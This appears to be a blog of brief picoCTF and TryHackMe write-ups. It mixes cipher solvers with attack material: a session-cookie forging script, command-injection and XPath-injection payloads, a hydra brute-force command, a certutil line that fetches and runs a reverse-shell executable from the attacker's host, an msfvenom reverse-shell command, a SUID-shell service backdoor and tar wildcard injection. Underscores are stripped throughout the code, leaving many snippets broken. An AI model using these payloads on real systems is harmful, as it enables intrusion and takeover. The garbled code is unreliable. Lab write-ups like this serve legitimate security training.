e

emacab98

Penetration tester, cyber security student, CTF enthusiast. The writeups on this page aren't the most beautiful ones nor the most explicative, but they are supposedly short and to the point. If you need a nudge in the right direction or you want a second look on a machine you completed, these are quick reads for your fast-paced, (hopefully) ethical, hacker life. Merry Hacking!

basic-mod-2 - picoCTF 2022

import string
alphabet = string.asciiuppercase + string.digits + ""
code = "104 85 69 354 344 50 149 65 187 420 77 127 385 318 133 72 206 236 206 83 342 206 370"
words = code.split(" ")
result = ""
for word in words:
    module = int(word) % 41
    for i in range (41):
        if((module * i ) % 41 == 1 ):
            result += alphabet[i-1]
            break
print(result)

basic-mod-1 - picoCTF 2022

import string
alphabet = string.ascii_uppercase + string.digits + "_"
code = "202 137 390 235 114 369 198 110 350 396 390 383 225 258 38 291 75 324 401 142 288 397"
words = code.split(" ")
result = ""
for word in words:
    result += alphabet[int(word) % 37]
print(result)

substitution0, 1 and 2 - picoCTF 2022

Uncomment cipher, plain and crypt to solve either the first, second or third substitution challenge.

Always start with the assumption that the last few words are "the flag is picoCTF{<something>}" and you already have the substitution for some of the letters. With these, you can try to understand what is missing looking at the English text and add letters to the substitution until you get a fully formed text (and the flag).

#cipher = '''QWITJSYHXCNDFERMUKGOPVALBZ 
#Hjkjpmre Djykqet qkrgj, axoh q ykqvj qet goqojdb qxk, qet wkrpyho fj ohj wjjodj
#skrf q ydqgg iqgj xe ahxih xo aqg jeidrgjt. Xo aqg q wjqpoxspd giqkqwqjpg, qet, qo
#ohqo oxfj, penerae or eqopkqdxgog—rs irpkgj q ykjqo mkxzj xe q gixjeoxsxi mrxeo
#rs vxja. Ohjkj ajkj oar krpet wdqin gmrog ejqk rej jlokjfxob rs ohj wqin, qet q
#drey rej ejqk ohj rohjk. Ohj giqdjg ajkj jlijjtxeydb hqkt qet ydrggb, axoh qdd ohj
#qmmjqkqeij rs wpkexghjt yrdt. Ohj ajxyho rs ohj xegjio aqg vjkb kjfqknqwdj, qet,
#oqnxey qdd ohxeyg xeor iregxtjkqoxre, X irpdt hqktdb wdqfj Cpmxojk srk hxg rmxexre
#kjgmjioxey xo.
#Ohj sdqy xg: mxirIOS{5PW5717P710E3V0DP710E03055505}'''
#plain = 'theflagispcornudywmbkx' these were good for the first substitute
#cryp = 'ohjsdqyxgmirkeptbafwnl'
#cipher = '''WYHg (gzray hra wimybas yzs hvij) ias i yums rh wrombysa gswbakyu wromsykykrl. Wrlysgyilyg ias masgslysn dkyz i gsy rh wzivvsljsg dzkwz ysgy yzska wasiykxkyu, yswzlkwiv (iln jrrjvklj) gckvvg, iln marqvso-grvxklj iqkvkyu. Wzivvsljsg bgbivvu wrxsa i lboqsa rh wiysjraksg, iln dzsl grvxsn, siwz uksvng i gyaklj (wivvsn i hvij) dzkwz kg gbqokyysn yr il rlvkls gwraklj gsaxkws. WYHg ias i jasiy diu yr vsial i dkns iaaiu rh wrombysa gswbakyu gckvvg kl i gihs, vsjiv slxkarlosly, iln ias zrgysn iln mviusn qu oilu gswbakyu jarbmg iarbln yzs dravn hra hbl iln maiwykws. Hra yzkg marqvso, yzs hvij kg: mkwrWYH{HA3FB3LWU4774WC54A3W0017II384QW}
#
#'''
#plain = 'isflagthepcorumyndwvkbq'
#cryp = 'kghvijyzsmwraboulndxcqf'

cipher = '''xidcddhsgxgdqdcjvwxidczdvvdgxjyvsgidrisoigtiwwvtwufbxdcgdtbcsxltwufdxsxswpgsptvbrspotlydcfjxcswxjprbgtlydctijvvdpodxidgdtwufdxsxswpgawtbgfcsujcsvlwpglgxdugjruspsgxcjxswpabprjudpxjvgzistijcdqdclbgdabvjprujcmdxjyvdgmsvvgiwzdqdczdydvsdqdxidfcwfdcfbcfwgdwajisoigtiwwvtwufbxdcgdtbcsxltwufdxsxswpsgpwxwpvlxwxdjtiqjvbjyvdgmsvvgybxjvgwxwodxgxbrdpxgspxdcdgxdrspjprdhtsxdrjywbxtwufbxdcgtsdptdrdadpgsqdtwufdxsxswpgjcdwaxdpvjywcswbgjaajscgjprtwudrwzpxwcbppspotidtmvsgxgjprdhdtbxspotwpasogtcsfxgwaadpgdwpxidwxidcijprsgidjqsvlawtbgdrwpdhfvwcjxswpjprsufcwqsgjxswpjprwaxdpijgdvdudpxgwafvjlzdydvsdqdjtwufdxsxswpxwbtispowpxidwaadpgsqddvdudpxgwatwufbxdcgdtbcsxlsgxidcdawcdjydxxdcqdistvdawcxdtidqjpodvsguxwgxbrdpxgspjudcstjpisoigtiwwvgabcxidczdydvsdqdxijxjpbprdcgxjprspowawaadpgsqdxdtipsnbdgsgdggdpxsjvawcuwbpxspojpdaadtxsqdrdadpgdjprxijxxidxwwvgjprtwpasobcjxswpawtbgdptwbpxdcdrsprdadpgsqdtwufdxsxswpgrwdgpwxvdjrgxbrdpxgxwmpwzxidscdpduljgdaadtxsqdvljgxdjtispoxiduxwjtxsqdvlxispmvsmdjpjxxjtmdcfstwtxasgjpwaadpgsqdvlwcsdpxdrisoigtiwwvtwufbxdcgdtbcsxltwufdxsxswpxijxgddmgxwodpdcjxdspxdcdgxsptwufbxdcgtsdptdjuwpoisoigtiwwvdcgxdjtispoxidudpwboijywbxtwufbxdcgdtbcsxlxwfsnbdxidsctbcswgsxluwxsqjxspoxiduxwdhfvwcdwpxidscwzpjprdpjyvspoxiduxwydxxdcrdadprxidscujtispdgxidavjosgfstwTXA{P6C4U4P41L5151573R10B5702A03AT}'''
plain = 'picotfslaghenmurydwvbkx'
cryp = 'fstwxagvjoidpubclrzqymh'
result = ''
cipher = cipher.lower()
for letter in cipher:
    if letter in cryp:
        position = cryp.find(letter)
        result += plain[position]
    else:
        result += letter
print(result)

transposition-trial - PicoCTF 2022

cipher = "heTfl g as iicpCTo{7F4NRP051N51635P3X51N3_V091B0AE}2"
result = ""
for i in range(2, len(cipher), 3):
    result += cipher[i] + cipher[i-2] + cipher [i-1]
    print(result)
    

Most Cookies - PicoCTF

Followed explanation at this link

Just remember to put your cookie inside the cookie variable and update the wordlist with the possible secrets used to sign the cookie.

import flask
import hashlib
from sys import argv
from flask.json.tag import TaggedJSONSerializer
from itsdangerous import URLSafeTimedSerializer, TimestampSigner, BadSignature
cookie = 'eyJ2ZXJ5X2F1dGgiOiJibGFuayJ9.Yh4n3A.tAnfOTWKodF6TbdczS-Pt-JPzdM'
wordlist = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]
for secret in wordlist:
    try:
        serializer = URLSafeTimedSerializer(
            secretkey=secret,
            salt='cookie-session',
            serializer=TaggedJSONSerializer(),
            signer=TimestampSigner,
            signer
kwargs={
                'keyderivation':'hmac',
                'digestmethod': hashlib.sha1}).loads(cookie)
    except BadSignature:
        continue
    print('Secret key: {}'.format(secret))
    session = {'veryauth': 'admin'}
    print(URLSafeTimedSerializer(secretkey=secret, salt='cookie-session', serializer=TaggedJSONSerializer(),signer=TimestampSigner,signerkwargs={'keyderivation': 'hmac', 'digest_method': hashlib.sha1}).dumps(session))

caas - PicoCTF

Look at the JS provided, while at a first look you might think there might be some SSTI involved, once you look at the code it's clear: Node runs a system command inserting user input. We only need to stop the current program's execution and start something more useful. A combination of a semicolon and anything else you might want to use is fine. For example, I used ls to see file names in the current directory and then printed the one that interested me, like this:

https://caas.mars.picoctf.net/cowsay/message;%20cat%20falg.txt

X marks the spot - pico

import requests
import string
chars = string.ascii_lowercase + string.ascii_uppercase + string.digits + "}_"
flag = "picoCTF{"
while True:
    for char in chars:
        result = requests.post("http://mercury.picoctf.net:20297/", data = {"name": "' or //*[starts-with(text(), '"+flag+char+"')] or 'a'='b", "pass":"pass"})
        if "right path" in result.text:
            flag += char
            print("Added char: " + flag)
            break

Zeno - THM

At first, after a basic scan, there is only a 12340 TCP port open and SSH on 22. Connecting to it using netcat reveals this is an Apache 2.4.6 webserver, running on PHP 5.4.16.

Using a directory scanner, we find out there is RMS installed on the webserver.

In our manual scraping of the website, we can notice that, once we create an account, we get a sample message from an account called "administrator", and in the Contact Us section there is an email address that is registered to the domain pathfinderhotel.com, so maybe we could try to brute force login credentials for an administrator@pathfinderhotel.com.

In the meanwhile, checking the software RMS, there is an unauthenticated RCE available, allows to upload a webshell in PHP, so I used that and launched a reverse shell to start enumerating what is on the box.

We can see there is an edward user by checking the /home directory, and we can also see some DB credentials reading the config.php of the RMS web server. Using those credentials we can check the content of the DB running on the local machine. In the member table of the dbrms database we can find some credentials, including a hashed password for an edward zeno user. The hash is MD5, we can crack it and retrieve the password required to escalate our current shell to the edward user.

But this is not our lucky day, as the hash is not easily cracked. We need to run a privilege escalation checker now, hoping for some privesc suggestion.

Linpeas suggests we have write privileges over a service, which might be useful later on, but also suggests that there are passwords in /etc/fstab, which is true for a zeno user. The password, however, seems to work for our edward user as well, so here we get our first flag.

We can now run linpeas once again, and go along with our usual privesc checks. We can run reboot with sudo, we might exploit that writable service linpeas showed us before. If we modify its ".service" file and we include in its ExecStart:

/bin/bash -c 'cp /usr/bin/bash /var/tmp/shell && chmod +s /var/tmp/shell'

we can then reboot the machine as sudo and once it's up again we can login as edward and launch our suid shell to act as root, job finished.

Merry hacking ;)

Skynet - THM - Braindump

There is a web server and samba running, automatically scan both using dirb and enum4linux.

The web page served is a useless search, nothing in the source code either.

There is anonymous listing enabled on the samba server, there are some directories to examine.

Dirb returned a login form exposed on a /squirrelmail directory, there is also a version number: 1.4.23

There is a known RCE for this version, but requires login credentials. Maybe we have a username (milesdyson) but password?

In the meanwhile, we can access two files only on the samba server, a message saying many passwords have been changed, so maybe it is an easy one to bruteforce? and we have some logs as well. Logs 2 and 3 are empty, but the first one seems like a wordlist, maybe we can bruteforce our squirrelmail login for milesdyson.

We bruteforce using

hydra -l milesdyson -P log1.txt 10.10.92.158 http-post-form  '/squirrelmail/src/redirect.php:loginusername=USER&secretkey=PASS&jsautodetectresults=1&justlogged_in=1:Unknown user or password incorrect.'

It works like a charm and we have credentials to login, let's try to use that RCE...actually, before this, let's take a look inside the squirrelmail server, there is the smb password for milesdyson, and there we can find a reference to a hidden directory called 45kra24zxs28v3yd, let's check that out.
Running gobuster against it, there is an administrator login form revealing this is a Cuppa CMS. There is a known exploit that lets us include a remote file, we can include the php-reverse-shell and get a shell as www-data
Looking at the crontab, there is a tar running with shell expansion with root privileges, we just need to add two special files to /var/www/html to get a root shell, just add --checkpoint=1 and --checkpoint-action=exec=<command to run> in the directory.


Info steps:

  • Gathered a username, milesdyson
  • Squirrelmail 1.4.23
  • Bruteforce credentials using log1.txt, retrieved from SMB server
  • Read emails, find secret directory
  • Directory bust sub directories, find vulnerable CMS
  • Exploit with RFI, gain low level shell
  • Exploit tar running with shell expansion as root
  • Merry hacking

Alfred - THM - Braindump

There are two web servers, one on 80 revealing an email address, and one on 8080 that is a Jenkins login page. Jenkins has, notoriously, a poor password policy.

Searching on Google, default is admin. Tried simple combinations, admin:admin worked.

We can modify the configuration for the existing project and insert a build command to run when building it, we can try to launch a reverse shell from it.

We can use this command in the build:

certutil.exe -urlcache -split -f http://10.9.4.63:8000/Advanced.exe & Advanced.exe

where Advanced.exe is a msfvenom-generated payload to launch the reverse connection to my machine

Then I used this shell to launch a reverse meterpreter, can use the extra help of meterpreter. I load PowerUp to enumerate for possible privesc vectors. Says we already are local admins. I used load incognito and list_tokens -g to see if we could impersonate another user.

We can impersonate BUILTIN\Administrator, impersonate_token "BUILTIN\Administrator" and we are NT Authority System. We still need to migrate to actually have these privileges, first run ps and then migrate to the PID of the services.exe process. We can now read root.txt in the config directory.

Steel Mountain - THM - Braindump

After an initial scan, there are ports that suggest this is a Windows box. There is also a web server on 80, shows an image and nothing more. Nothing found using dirbuster.

There is also another web server, on 8080. Reading the source of the page, this shows a name and a version, Rejetto HFS 2.3. There are some known RCE exploits for this specific version, one in metasploit called exploit/windows/http/rejettohfsexec, let's try this one. 

Seems to work, meterpreter shell opened. We are user bill in a steelmountain domain. We can get the user flag in his desktop. Now we need a privesc vector.

We can use PowerUp loading it with meterpreter, it shows an unquoted service path escalation vector. We could have found this by running 'powershell -c "Get-Service"' as well. We can use msfvenom to create a suitable payload with the following command:

└─# msfvenom -p windows/shellreversetcp lhost=10.9.4.63 lport=2222 -f exe -o Advanced.exe
We can then upload it in the proper directory and restart the service running (in a Powershell shell):
Restart-Service -name AdvancedSystemCareService9
We are now NT authority system, job done

Road - THM

Road - THM

There is an SSH port open and a web server. With no credentials, the web server is a better option right now.

I started by looking around the website: there is the information about who created the platform right in front of you, but I could not turn that into valuable info with a basic search. I registered an account and logged in. Snoop around the authenticated pages, and you see there is a functionality to upload a profile picture, but it is admin-only. However, this tells us the email for the admin, we can try to brute force and obtain the password now.

While bruteforcing, notice that there is the opportunity to change your current password. Intercept the request and reset the admin's one. There is no authorization check, so we can now login as the admin.

Now we can try to upload a reverse shell as a profile image.

When you upload, analyze the response. It says "Image saved" but gives you no direction as to where it was saved. Either search for "profile" or scroll a little further down in the response and you should catch a reference to a /v2/profileimages directory, you can go there and catch your reverse shell (careful, go straight for your file as directory listing is disabled for this one).

We now have a beautiful shell and we can read the user.txt flag.

Snooping around, the /etc/passwd reveals there are both mysql and mongo on the box.

Tried with mysql first, nothing. Running "mongo", instead, gives us the mongo cli prompt. Enumerating the DB, there is a backup database containing a user table where we can find the credentials for the user "webdeveloper".

With these credentials we can just kill our reverse shell and open an SSH connection to the box.

Our new user has sudo privileges to run a binary as any other user, including root. Running strings on this binary reveals that it runs the following command:

tar -czvf /root/.backup/sky-backup.tar.gz /var/www/html/*
Off to GTFObins we go, to see if we can insert something tasty in /var/www/html and exploit this shell expansion... but seems like we can't exploit this, so back to the drawing board.

Read carefully the output of "sudo -l" and notice that you can change the default behaviour when preloading libraries when processes start. Everything you need to gain a root shell is explained here.
Merry hacking ;)

speeds and feeds - PicoCTF

Once you connect to the given address, you get a very long list of strings that make no sense. I tried to look at them to find some sort of pattern, but nothing caught the eye, so I copied one of the lines and pasted it into the search bar. Google suggests this might be something called G-code. Turns out, it is a programming language for machines and you can find online interpreters to plot the code you have been given, which will show you the flag. The interpreter I used is at https://ncviewer.com/.

The numbers - PicoCTF

Open the file, it contains a long list of numbers. These are very low in value, so it is clearly not ASCII. Actually, these are so low that they might just be references to the letters' positions in the alphabet. Turns out, this is all there is to this challenge. Easy peasy ;)

Glory of the garden - PicoCTF

The file you download contains a string that gives you the flag. It should have been my first attempt, but it was actually my fourth:

  1. opened the picture with eog to look at it, pointless;
  2. used exiftool to inspect metadata, pointless;
  3. used steghide to extract hidden data using a blank password and the passwords "garden" and "glorious", still pointless;
  4. ran strings on the file, success!

Transformation - PicoCTF

Translate the string into unicode and insert it into a variable, then treat the encryption as a mathematical function and try to obtain a reverse formula. Imagine that A and B are the characters that, when mixed as described in the challenge description, generate the first character of the encoded text. 

To retrieve A, just push the encoded character 8 places to the right, so to clean all values that were influenced by the value of B.

To retrieve B, you now have the encoded value and A itself: what you can do is shift A back 8 places to the right and remove its influence from the overall value by subtracting it from the encoded character. What's left? B. Retrieve it and put the flag back together. 

The following code is the realization of the steps described. To retrieve the flag in a comfortable way, pipe the output of this code into this command:

tr -d "\n"

flag= u'\u7069\u636F\u4354\u467B\u3136\u5F62\u6974\u735F\u696E\u7374\u3334\u645F\u6F66\u5F38\u5F65\u3730\u3362\u3438\u367D'
for i in range(0, len(flag)):
        a= chr(ord(flag[i])>>8)
        print(a)
        print(chr((ord(flag[i]) - (ord(a)<<8))))